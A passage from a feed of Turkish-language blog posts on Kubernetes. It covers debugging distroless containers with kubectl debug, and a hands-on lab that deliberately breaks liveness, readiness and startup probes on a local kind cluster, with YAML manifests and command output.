&lt;span class="c"&gt;# Network bağlantıları&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/hosts

&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Production pod'una dokunmadın. Ephemeral container geçici — debug bitince gidiyor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Production pod'una hiç dokunmak istemiyorsan kopyasını al:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl debug distroless-pod &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--image&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;busybox &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--copy-to&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;distroless-pod-debug &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-it&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bu komut pod'un birebir kopyasını oluşturuyor, içine busybox ekliyor, oraya bağlanıyor. Debug bitince:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl delete pod distroless-pod-debug
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Node Seviyesinde Debug
&lt;/h2&gt;

&lt;p&gt;Bazen pod seviyesi yetmez — kernel parametreleri, node'daki tüm process'ler, host network. Bunun için node'u debug edersin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl debug node/desktop-control-plane &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--image&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;busybox
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Node'daki tüm process'ler&lt;/span&gt;
ps aux | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;

&lt;span class="c"&gt;# Node'un dosya sistemi /host altında&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; /host

&lt;span class="c"&gt;# Kernel bilgisi&lt;/span&gt;
&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;

&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Pod Debug vs Node Debug
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;Pod Debug&lt;/th&gt;
&lt;th&gt;Node Debug&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Ne zaman&lt;/td&gt;
&lt;td&gt;Uygulama seviyesi sorunlar&lt;/td&gt;
&lt;td&gt;Altyapı seviyesi sorunlar&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Erişim&lt;/td&gt;
&lt;td&gt;Container process'leri&lt;/td&gt;
&lt;td&gt;Tüm node&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Komut&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kubectl debug pod/...&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kubectl debug node/...&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Production Best Practices
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Multi-stage build her zaman kullan:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="c"&gt;# Builder — tüm araçlar burada, final image'a gitmez&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;golang:1.21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;AS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;builder&lt;/span&gt;
&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="s"&gt; /app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; . .&lt;/span&gt;
&lt;span class="k"&gt;RUN &lt;/span&gt;&lt;span class="nv"&gt;CGO_ENABLED&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0 go build &lt;span class="nt"&gt;-o&lt;/span&gt; server .

&lt;span class="c"&gt;# Runtime — sadece binary&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; gcr.io/distroless/static&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="s"&gt; --from=builder /app/server /server&lt;/span&gt;
&lt;span class="k"&gt;ENTRYPOINT&lt;/span&gt;&lt;span class="s"&gt; ["/server"]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;nonroot tag kullan:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="c"&gt;# Root olarak çalışma&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; gcr.io/distroless/static-debian12:nonroot&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;debug tag sadece geliştirmede:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="c"&gt;# Production&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; gcr.io/distroless/static&lt;/span&gt;

&lt;span class="c"&gt;# Development — busybox shell içeriyor, production'da kullanma&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; gcr.io/distroless/static:debug&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Öğrendiklerim
&lt;/h2&gt;

&lt;p&gt;Bu lab'dan önce distroless'ı "image boyutunu küçülten bir şey" olarak görüyordum. Şimdi şunu söyleyebiliyorum:&lt;/p&gt;

&lt;p&gt;Boyut küçülmesi yan kazanım. Asıl kazanım attack surface'in minimuma inmesi. Shell yok, paket manager yok, sistem araçları yok — container ele geçirilse bile saldırganın yapabileceği şey çok kısıtlı.&lt;/p&gt;

&lt;p&gt;kubectl exec çalışmaması sinir bozucu görünüyor ama doğru soruyu sormak gerekiyor: "Ben giremiyorsam saldırgan da giremez mi?" Evet, giremez. Debug için kubectl debug var — production pod'una dokunmadan ephemeral container ile istediğini yapabilirsin.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Bu yazı, bir mülakattan aldığım geri bildirimi uygulamalı olarak çalışma serim.&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Serinin diğer yazıları:&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/terraform-terragrunt-ansible-a-hands-on-learning-journey-jed"&gt;Terraform + Terragrunt + Ansible: A Hands-On Learning Journey&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/kubernetes-probelarini-bozarak-ogrenmek-liveness-readiness-ve-startup-3meh"&gt;Kubernetes Probe'larını Kasıtlı Bozarak Öğrendim&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/container-icine-giremiyorum-ve-bu-iyi-bir-sey-distroless-imagelar-hik"&gt;Container İçine Giremiyorum — Ve Bu İyi Bir Şey: Distroless Image'lar&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href="https://dev.to/tahayagizguler/prometheus-ve-grafanayi-derinlemesine-anlamak-tsdb-promql-ve-custom-exporter-1enp"&gt;Prometheus ve Grafana'yı Derinlemesine Anlamak&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>kubernetes</category>
      <category>docker</category>
      <category>devops</category>
      <category>güvenlik</category>
    </item>
    <item>
      <title>Kubernetes Probe'larını Bozarak Öğrenmek — Liveness, Readiness ve Startup</title>
      <dc:creator>Taha Yağız Güler</dc:creator>
      <pubDate>Tue, 26 May 2026 10:53:18 +0000</pubDate>
      <link>https://dev.to/tahayagizguler/kubernetes-probelarini-bozarak-ogrenmek-liveness-readiness-ve-startup-3meh</link>
      <guid>https://dev.to/tahayagizguler/kubernetes-probelarini-bozarak-ogrenmek-liveness-readiness-ve-startup-3meh</guid>
      <description>&lt;h2&gt;
  
  
  Probe nedir, neden gerekli?
&lt;/h2&gt;

&lt;p&gt;Kubernetes bir pod'un "çalışıyor" olduğunu bilir — container ayaktaysa çalışıyor demek. Ama "çalışıyor" ile "sağlıklı" aynı şey değil. Uygulama deadlock'a girmiş olabilir, DB bağlantısını kaybetmiş olabilir, henüz başlamayı tamamlamamış olabilir.&lt;/p&gt;

&lt;p&gt;Probe'lar Kubernetes'e şunu söyler: "Bu container'ın içindeki uygulamayı benim istediğim şekilde kontrol et."&lt;/p&gt;

&lt;p&gt;Üç probe türü var, her biri farklı bir soruyu cevaplıyor:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Probe&lt;/th&gt;
&lt;th&gt;Soru&lt;/th&gt;
&lt;th&gt;Başarısız olursa&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Startup&lt;/td&gt;
&lt;td&gt;Uygulama başladı mı?&lt;/td&gt;
&lt;td&gt;Pod restart&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Readiness&lt;/td&gt;
&lt;td&gt;Traffic almaya hazır mı?&lt;/td&gt;
&lt;td&gt;Traffic kesilir, pod durmaz&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Liveness&lt;/td&gt;
&lt;td&gt;Uygulama sağlıklı mı?&lt;/td&gt;
&lt;td&gt;Pod restart&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;En kritik fark readiness ile liveness arasında — birinde pod ölür, diğerinde ölmez.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lab ortamı
&lt;/h2&gt;

&lt;p&gt;Docker Desktop üzerinde kind cluster, tek node:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kind create cluster &lt;span class="nt"&gt;--name&lt;/span&gt; probe-lab
kubectl create namespace probe-lab
kubectl config set-context &lt;span class="nt"&gt;--current&lt;/span&gt; &lt;span class="nt"&gt;--namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;probe-lab
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Senaryo 1 — Bozuk Liveness Probe
&lt;/h2&gt;

&lt;p&gt;Nginx 80 portunda çalışıyor ama liveness probe 9999'a bakıyor. Ne olacak?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;apps/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Deployment&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;liveness-broken&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;probe-lab&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;replicas&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;matchLabels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;liveness-broken&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;liveness-broken&lt;/span&gt;
    &lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;containers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nginx&lt;/span&gt;
        &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nginx:alpine&lt;/span&gt;
        &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;containerPort&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt;

        &lt;span class="na"&gt;livenessProbe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;httpGet&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
            &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt;
            &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;9999&lt;/span&gt;        &lt;span class="c1"&gt;# nginx burada dinlemiyor&lt;/span&gt;
          &lt;span class="na"&gt;initialDelaySeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;
          &lt;span class="na"&gt;periodSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;
          &lt;span class="na"&gt;failureThreshold&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt; &lt;span class="c1"&gt;# 3 başarısız → restart&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; liveness-broken.yaml
kubectl get pods &lt;span class="nt"&gt;-w&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Çıktı:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;NAME                    READY   STATUS             RESTARTS   AGE
liveness-broken-xxx     1/1     Running            0          8s
liveness-broken-xxx     1/1     Running            1          23s
liveness-broken-xxx     1/1     Running            2          38s
liveness-broken-xxx     0/1     CrashLoopBackOff   3          53s
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Events'e bakınca:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Warning  Unhealthy  Liveness probe failed: dial tcp: connection refused
Warning  Killing    Container failed liveness probe, will be restarted
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Ne öğrendim:&lt;/strong&gt; Liveness başarısız olunca Kubernetes container'ı öldürüp yeniden başlatıyor. Ama sorun devam ettiği için sonsuz döngüye giriyor — buna &lt;code&gt;CrashLoopBackOff&lt;/code&gt; deniyor. Production'da bu alarm tetikler, on-call mühendisi uyandırır.&lt;/p&gt;




&lt;h2&gt;
  
  
  Senaryo 2 — Bozuk Readiness Probe
&lt;/h2&gt;

&lt;p&gt;Aynı nginx, bu sefer readiness probe var olmayan bir path'e bakıyor: &lt;code&gt;/nonexistent&lt;/code&gt;. Liveness doğru. Ne olacak?&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;livenessProbe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;httpGet&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt;        &lt;span class="c1"&gt;# doğru — pod ölmeyecek&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt;

&lt;span class="na"&gt;readinessProbe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;httpGet&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/nonexistent&lt;/span&gt;   &lt;span class="c1"&gt;# 404 dönecek — probe başarısız&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt;
  &lt;span class="na"&gt;initialDelaySeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;
  &lt;span class="na"&gt;periodSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;
  &lt;span class="na"&gt;failureThreshold&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get pods &lt;span class="nt"&gt;-w&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Çıktı:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;NAME                     READY   STATUS    RESTARTS   AGE
readiness-broken-xxx     0/1     Running   0          10s
readiness-broken-xxx     0/1     Running   0          60s
readiness-broken-xxx     0/1     Running   0          2m
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;RESTARTS&lt;/code&gt; hiç artmıyor. Pod ölmüyor. Ama &lt;code&gt;0/1&lt;/code&gt; — traffic almıyor.&lt;/p&gt;

&lt;p&gt;Service endpoint'e bakınca:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get endpoints readiness-broken
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;NAME               ENDPOINTS   AGE
&lt;/span&gt;&lt;span class="gp"&gt;readiness-broken   &amp;lt;none&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;2m
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;&amp;lt;none&amp;gt;&lt;/code&gt; — Kubernetes bu pod'u endpoint listesinden çıkardı. Hiçbir istek buraya gelmiyor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ne öğrendim:&lt;/strong&gt; Readiness ile liveness'ın farkı tam burada netleşiyor. Liveness başarısız → pod restart. Readiness başarısız → pod Running kalıyor, sadece traffic kesiliyor. Pod'u öldürmek her zaman doğru cevap değil — bazen sadece "biraz bekle, hazır olunca gönder" demek yeterli.&lt;/p&gt;




&lt;h2&gt;
  
  
  Senaryo 3 — Startup Probe Olmadan Yavaş Uygulama
&lt;/h2&gt;

&lt;p&gt;Uygulama başlamak için 40 saniye bekliyor. Startup probe yok, liveness 20 saniyede restart ediyor.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;lifecycle&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;postStart&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;exec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;command&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/bin/sh"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-c"&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sleep&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;40"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;# 40 saniye beklet&lt;/span&gt;

&lt;span class="na"&gt;livenessProbe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;httpGet&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt;
  &lt;span class="na"&gt;initialDelaySeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;
  &lt;span class="na"&gt;periodSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;
  &lt;span class="na"&gt;failureThreshold&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;   &lt;span class="c1"&gt;# 5 + (3*5) = 20 saniyede restart&lt;/span&gt;
  &lt;span class="c1"&gt;# uygulama 40 saniyede hazır — hiç hazır olamaz&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sonuç: &lt;code&gt;CrashLoopBackOff&lt;/code&gt;. Uygulama hiç ayağa kalkamıyor çünkü liveness onu hazır olmadan öldürüyor.&lt;/p&gt;

&lt;p&gt;Şimdi startup probe ekle:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;startupProbe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;httpGet&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt;
  &lt;span class="na"&gt;periodSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;
  &lt;span class="na"&gt;failureThreshold&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;12&lt;/span&gt;  &lt;span class="c1"&gt;# 12 * 5 = 60 saniye bekler&lt;/span&gt;
  &lt;span class="c1"&gt;# startup geçene kadar liveness çalışmaz&lt;/span&gt;

&lt;span class="na"&gt;livenessProbe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;httpGet&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt;
    &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt;
  &lt;span class="na"&gt;initialDelaySeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5&lt;/span&gt;
  &lt;span class="na"&gt;periodSeconds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;10&lt;/span&gt;
  &lt;span class="na"&gt;failureThreshold&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Sonuç:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;NAME                  READY   STATUS    RESTARTS
slow-app-fixed-xxx    1/1     Running   0        ← restart yok
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Ne öğrendim:&lt;/strong&gt; Startup probe, liveness için bir "koruma kalkanı" görevi görüyor. "Ben hazır olana kadar dokunma" diyor. Spring Boot, JVM tabanlı uygulamalar, büyük model yükleyen ML servisleri — bunların hepsinde startup probe zorunlu.&lt;/p&gt;




&lt;h2&gt;
  
  
  Senaryo 4 — HPA ile Readiness Entegrasyonu
&lt;/h2&gt;

&lt;p&gt;Bu senaryoda yük testi yaparak HPA'yı tetikledim ve yeni açılan pod'ların readiness geçene kadar traffic almadığını gözlemledim.&lt;/p&gt;

&lt;p&gt;Önce metrics-server'ı kur:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; https://github.com/kubernetes-sigs/metrics-server/releases/latest/download/components.yaml

kubectl patch deployment metrics-server &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-n&lt;/span&gt; kube-system &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'[{"op":"add","path":"/spec/template/spec/containers/0/args/-","value":"--kubelet-insecure-tls"}]'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;HPA tanımı:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;autoscaling/v2&lt;/span&gt;
